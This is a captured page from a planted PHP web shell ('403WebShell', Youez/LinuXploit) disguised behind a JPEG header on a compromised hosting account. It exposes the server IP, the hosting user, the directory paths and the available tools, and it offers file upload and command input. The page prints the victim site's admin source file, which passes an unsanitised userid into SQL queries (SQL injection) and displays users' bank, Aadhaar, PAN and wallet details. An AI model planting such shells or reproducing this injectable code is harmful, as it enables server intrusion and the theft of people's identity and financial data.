���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin//user_details_old.php
<?php include '../action/check-login.php'; include '../action/config.php'; 

$userid = $_GET['userid'];
$qry = mysqli_query($con,"SELECT * FROM `users` WHERE userid='$userid'");
$r=mysqli_fetch_array($qry);

$KYC_qry = mysqli_query($con,"SELECT * FROM `user_kyc` WHERE userid='$userid'");
$kyc=mysqli_fetch_array($KYC_qry);

$wallet_qry = mysqli_query($con,"SELECT * FROM `user_wallet` WHERE userid='$userid'");
$wallet=mysqli_fetch_array($wallet_qry);

$bank_qry = mysqli_query($con,"SELECT * FROM `user_bank` WHERE userid='$userid'");
$bnk = mysqli_fetch_array($bank_qry);
if($bnk['ac_name']==NULL || $bnk['ac_num']==NULL || $bnk['ifsc']==NULL || $bnk['bank_name']==NULL || $bnk['branch']==NULL){
	$bnk['ac_name'] = 'Account Not Updated';
	$bnk['ac_num'] = 'Account Not Updated';
	$bnk['ifsc'] = 'Account Not Updated';
	$bnk['bank_name'] = 'Account Not Updated';
	$bnk['branch'] = 'Account Not Updated';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title>Admin | WORKDHAM: Welcome to the World of Unlimited Earning</title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script>
    <link rel="shortcut icon" href="../images/favicon.png" />
    <style>
        #blink {
        	font-weight: bold;
            color: #2d38be;
            transition: 0.5s;
        }
    </style>
</head>
<body class="sb-nav-fixed">
    <?php include 'sidebar_menu.php'; ?>

<main>
	<div class="container-fluid">
	    <ol class="breadcrumb mb-4 mt-2">
	        <li class="breadcrumb-item font-weight-bold">User Details</li>
	    </ol>
	    
	    
        <div class="row">
          <?php
          $team_q = mysqli_query($con,"SELECT * FROM `users` WHERE sponcerid='$userid' ");
          $t = mysqli_num_rows($team_q);
          ?>
          <div class="col-6 float-left"><h5 class="float-left">Direct joinings: <?php echo $t ?></h5></div>
        </div>

        <div>
          <table class="table table-sm" id="dataTable" width="100%" cellspacing="0">
            <thead>
              <tr>
                <th>User-Id</th>
                <th>Name</th>
                <th>Phone</th>
                <th>Join Date</th>
              </tr>
            </thead>
            <tbody>
              <?php
              while ($tm = mysqli_fetch_array($team_q)) {
                ?>
                <tr>
                  <td><?php echo $tm['userid'] ?></td>
                  <td><?php echo $tm['name'] ?></td>
                  <td><?php echo $tm['phone'] ?></td>
                  <td><?php echo $tm['join_date'] ?></td>                  
                </tr>
                <?php
              }
              ?>
            </tbody>
          </table>
        </div>

	    

	    <div class="row">
			<div class="col-md-6 grid-margin stretch-card">
				<div class="card">
					<div class="card-body">
						<div class="row mr-2 mb-2">
							<div class="col-6 text-danger"><b>User-Profile</b></div>
							<div class="col-6" align="right"></div>
						</div>
						<table class="table table-sm">
							<tr>
								<th>Userid: </th>
								<td><?php echo $r['userid']; ?></td>
							</tr>
							<tr>
								<th>sponsor id: </th>
								<td><?php echo $r['sponcerid']; ?></td>
							</tr>
							<tr>
								<th>Name: </th>
								<td><?php echo $r['name']; ?></td>
							</tr>
							<tr>
								<th>Joining Date: </th>
								<td><?php echo $r['join_date']; ?></td>
							</tr>
							<tr>
								<th>Mobile: </th>
								<td><?php echo $r['phone']; ?></td>
							</tr>
							<tr>
								<th>Email: </th>
								<td><?php echo $r['email']; ?></td>
							</tr>
						</table>
					</div>
				</div>
			</div>

			<div class="col-md-6 grid-margin">
				<div class="card">
					<div class="card-body">
						
						<div class="row mr-2 mb-2">
							<div class="col-6 text-danger"><b>Bank Details</b></div>
							<div class="col-6" align="right"></div>
						</div>
						
						<table class="table bank_details table-sm" id="bank_details">
							<tr>
								<th>Userid: </th>
								<td><?php echo $bnk['userid']; ?></td>
							</tr>
							<tr>
								<th>A/c Name: </th>
								<td><?php echo $bnk['ac_name']; ?></td>
							</tr>
							<tr>
								<th>A/c Number: </th>
								<td><?php echo $bnk['ac_num']; ?></td>
							</tr>
							<tr>
								<th>Ifsc Code: </th>
								<td><?php echo $bnk['ifsc']; ?></td>
							</tr>
							<tr>
								<th>Bank Name: </th>
								<td><?php echo $bnk['bank_name']; ?></td>
							</tr>
							<tr>
								<th>Branch Name: </th>
								<td><?php echo $bnk['branch']; ?></td>
							</tr>
						</table>
					</div>
				</div>
			</div>

	    	<div class="col-md-6">
	    		<div class="card">
	    			<div class="card-body">
	    				<div class="row mr-2 mb-2">
							<div class="col-3 text-danger"><b>KYC Details</b></div>
							<div class="col-9" id="blink" align="right"><?php echo $kyc['message']; ?></div>
						</div>
						<table class="table bank_details table-sm">
							<tr>
								<th>Userid: </th>
								<td><?php echo $kyc['userid']; ?></td>
							</tr>
							<tr>
								<th>Aadhar Number: </th>
								<td><?php echo $kyc['aadhar_num']; ?></td>
							</tr>
							<tr>
								<th>Aadhar Image: </th>
								<td>
									<a target="_blank" href=""><img width="100%" src="../users/assets/img/<?php echo $kyc['aadhar_img']; ?>" height="50px"></a>
								</td>
							</tr>
							<tr>
								<th>PAN Number: </th>
								<td><?php echo $kyc['pan_num']; ?></td>
							</tr>
							<tr>
								<th>PAN Image: </th>
								<td>
									<a href="" target="_blank"><img width="100%" src="../users/assets/img/<?php echo $kyc['pan_img']; ?>" height="50px"></a>
								</td>
							</tr>
							<tr>
								<th>Address: </th>
								<td><?php echo $kyc['address']; ?></td>
							</tr>
						</table>
	    			</div>
	    		</div>
	    	</div>

	    	<div class="col-md-6">
	    		<div class="card">
	    			<div class="card-body">
	    				<div class="row mr-2 mb-2">
							<div class="col-6 text-danger"><b>Wallet Details</b></div>
							<!-- <div class="col-9" id="blink" align="right"><?php echo $kyc['message']; ?></div> -->
						</div>
						<table class="table table-sm">
							<tr>
								<td>Wallet Balance:</td>
								<td colspan="2"><?php echo $wallet['wallet_bal']; ?></td>
							</tr>
							<tr>
								<td>Today's Earning</td>
								<td><?php echo $wallet['today_earning']; ?></td>
								<td></td>
							</tr>
							<tr>
								<td>Withdraw Request</td>
								<td><?php echo $wallet['widraw_req']; ?></td>
								<td><a class="btn btn-sm btn-primary" href="widraw_req_send?userid=<?php echo $wallet['userid']; ?>&amount=<?php echo $wallet['widraw_req']; ?>">Send</a></td>
							</tr>
							<tr>
								<td>Withdraw Req Date</td>
								<td><?php echo $wallet['widraw_req_date']; ?></td>
								<td></td>
							</tr>
							<tr>
								<td>Withdraw Amount</td>
								<td><?php echo $wallet['widraw_amt']; ?></td>
								<td></td>
							</tr>
						</table>
	    			</div>
	    		</div>
	    	</div>
	    </div>

      <div class="my-2">
        <div class="card">
          <div class="card-header d-block d-md-flex">
            <h5 class="mb-0 text-primary">Transaction History</h5>
          </div>
          <div class="card-body">
            <table class="table" id="dataTable" width="100%" cellspacing="0">
              <thead>
                <tr>
                  <th>Transaction Id</th>
                  <th><span class="text-danger">Debit</span> / <span class="text-success">Credit</span></th>
                  <th>Date</th>
                  <th>Remark</th>
                  <th>Status</th>
                </tr>
              </thead>
              <tbody>
                <?php
                $transaction_qry=mysqli_query($con,"SELECT * FROM `transaction` WHERE userid ='$userid' ORDER BY id DESC");
                while($re=mysqli_fetch_array($transaction_qry)){
                  ?>
                  <tr>
                    <td><?php echo $re['tr_id']; ?></td>
                    <td>
                      <?php
                      if($re['debit']==0){
                        echo '<span class="text-success">'.$re['credit'].'</span>';
                      }else{
                        echo '<span class="text-danger">'.$re['debit'].'</span>';
                      }
                      ?>
                    </td>
                    <td><?php echo $re['tr_date']; ?></td>
                    <td><?php echo $re['remark']; ?></td>
                    <td>
                      <?php  
                      if($re['status'] == 'pending' || $re['status'] == 'Pending'){
                        echo '<i class="fas fa-exclamation-triangle text-danger"></i> <span class="badge badge-pill badge-danger p-2">Pending</span> ';
                      }else{
                        echo '<i class="fas fa-check-double text-primary"></i> <span class="badge badge-pill badge-success p-2"> Success</span> ';
                      }
                      ?>
                    </td>
                  </tr>
                  <?php
                }
                ?>
              </tbody>
            </table>
          </div>
        </div>
      </div>




	</div>
</main>

    <?php include 'footer.php'; ?>

    <script type="text/javascript">
        var blink = document.getElementById('blink');
        setInterval(function() {
            blink.style.opacity = (blink.style.opacity == 0 ? 1 : 0);
        }, 700);
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit